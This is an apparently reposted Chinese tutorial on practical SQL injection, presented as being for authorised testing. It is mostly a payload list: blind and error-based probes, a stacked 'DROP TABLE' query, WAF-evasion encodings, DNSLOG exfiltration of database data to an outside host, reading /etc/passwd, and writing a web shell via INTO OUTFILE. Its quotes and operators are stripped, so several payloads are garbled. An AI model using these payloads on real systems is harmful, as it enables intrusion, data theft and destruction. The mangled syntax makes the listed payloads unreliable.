实战级SQL注入测试技巧揭秘
目录一、高阶注入判断技巧不爆数据只测漏洞1. 布尔盲注Boolean-based2. 时间盲注Time-based3. 报错注入Error-based二、高阶利用手法实战渗透常用1. 堆叠查询Stacked Queries2. 宽字节注入绕过转义3. 绕过 WAF / 过滤 的高级写法大小写变形注释穿插字符串编码等价函数替换空格绕过4. 二阶注入Second-Order SQLi5. 外带数据DNSLOG / HTTP 外带6. 读写文件三、针对不同数据库的专属高级注入MySQLSQL ServerPostgreSQLOracle四、接口测试中最实用的高阶组合流程下面给你整理一套更高级、实战化、但依然合规仅用于授权自检的 SQL 注入测试思路适合接口渗透、黑盒测试场景。我会尽量讲得实用、可直接上手不搞花里胡哨的理论。一、高阶注入判断技巧不爆数据只测漏洞1. 布尔盲注Boolean-based适用于不返回报错、不返回数据但页面内容会变。测试思路id1 AND 11-- - 页面正常 id1 AND 12-- - 页面异常/无数据两次结果不一样 →存在布尔盲注。进阶 payload AND (SELECT 1 FROM DUAL WHERE 11)-- AND (LENGTH(DATABASE())5)--2. 时间盲注Time-based适用于页面完全没变化连布尔差异都没有。核心让数据库 sleep看接口延迟。 AND SLEEP(5)-- AND IF(11,SLEEP(5),0)-- AND BENCHMARK(1000000,MD5(1))-- AND PG_SLEEP(5)-- PostgreSQL AND WAITFOR DELAY 0:0:5-- SQL Server如果接口明显延迟 5 秒→ 100% 存在注入。3. 报错注入Error-based不查数据只通过强制报错判断注入点。常用 AND UPDATEXML(1,CONCAT(0x7e,(SELECT 1)),1)-- AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT 1)))-- AND FLOOR(RAND(0)*2)-- group by 报错只要返回 XPath 语法错误等 → 存在注入。二、高阶利用手法实战渗透常用1. 堆叠查询Stacked Queries支持多语句执行时; SELECT * FROM user;-- ; DROP TABLE test;-- 严禁非法使用常见于SQL Server / PostgreSQL。2. 宽字节注入绕过转义针对 PHP MySQL 宽字符集GBK%df OR 11--原理%df\被解析成運单引号逃逸成功。3. 绕过 WAF / 过滤 的高级写法很多接口有防护普通 payload 会被拦可以用这些变形大小写变形 Or 11-- oR 11--注释穿插 UN/**/ION SEL/**/ECT--字符串编码 UNION SELECT CHAR(97,100,109,105,110)--等价函数替换AND 11 → AND 2-11 → AND 32 → AND MID(VERSION(),1,1)5空格绕过%09、%0a、%0b、%0d、%a0、//、--例UNION%0aSELECT%0a1,2,3--4. 二阶注入Second-Order SQLi高级玩法存储型注入注册用户名admin后台查询时直接拼接触发点在另一个接口这类漏洞非常隐蔽普通扫描扫不出来。5. 外带数据DNSLOG / HTTP 外带MySQL 高权限可读取数据外带 AND LOAD_FILE(CONCAT(\\\\,(SELECT database()),.xxx.dnslog.cn\\test))--适用于完全盲注、无法回显的场景。SQL Server; EXEC master..xp_dirtree \\xxx.dnslog.cn\test;--6. 读写文件MySQL 权限足够时 UNION SELECT LOAD_FILE(/etc/passwd)-- INTO OUTFILE /var/www/html/shell.php--三、针对不同数据库的专属高级注入MySQL报错注入UPDATEXML、EXTRACTVALUE时间盲注SLEEP()读文件LOAD_FILESQL Server堆叠查询WAITFOR DELAYxp_cmdshell命令执行报错FORMATMESSAGEPostgreSQLPG_SLEEP(5)复制文件COPY任意语句执行Oracle报错CTX_REPORT盲注DBMS_LOCK.SLEEP联合查询限制多需要绕ROWNUM四、接口测试中最实用的高阶组合流程你做接口测试可以按这个顺序加单引号看是否报错布尔测试AND 11 / 12时间测试SLEEP(5)报错注入看能否触发尝试 WAF 绕过尝试二阶注入点
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2451623.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!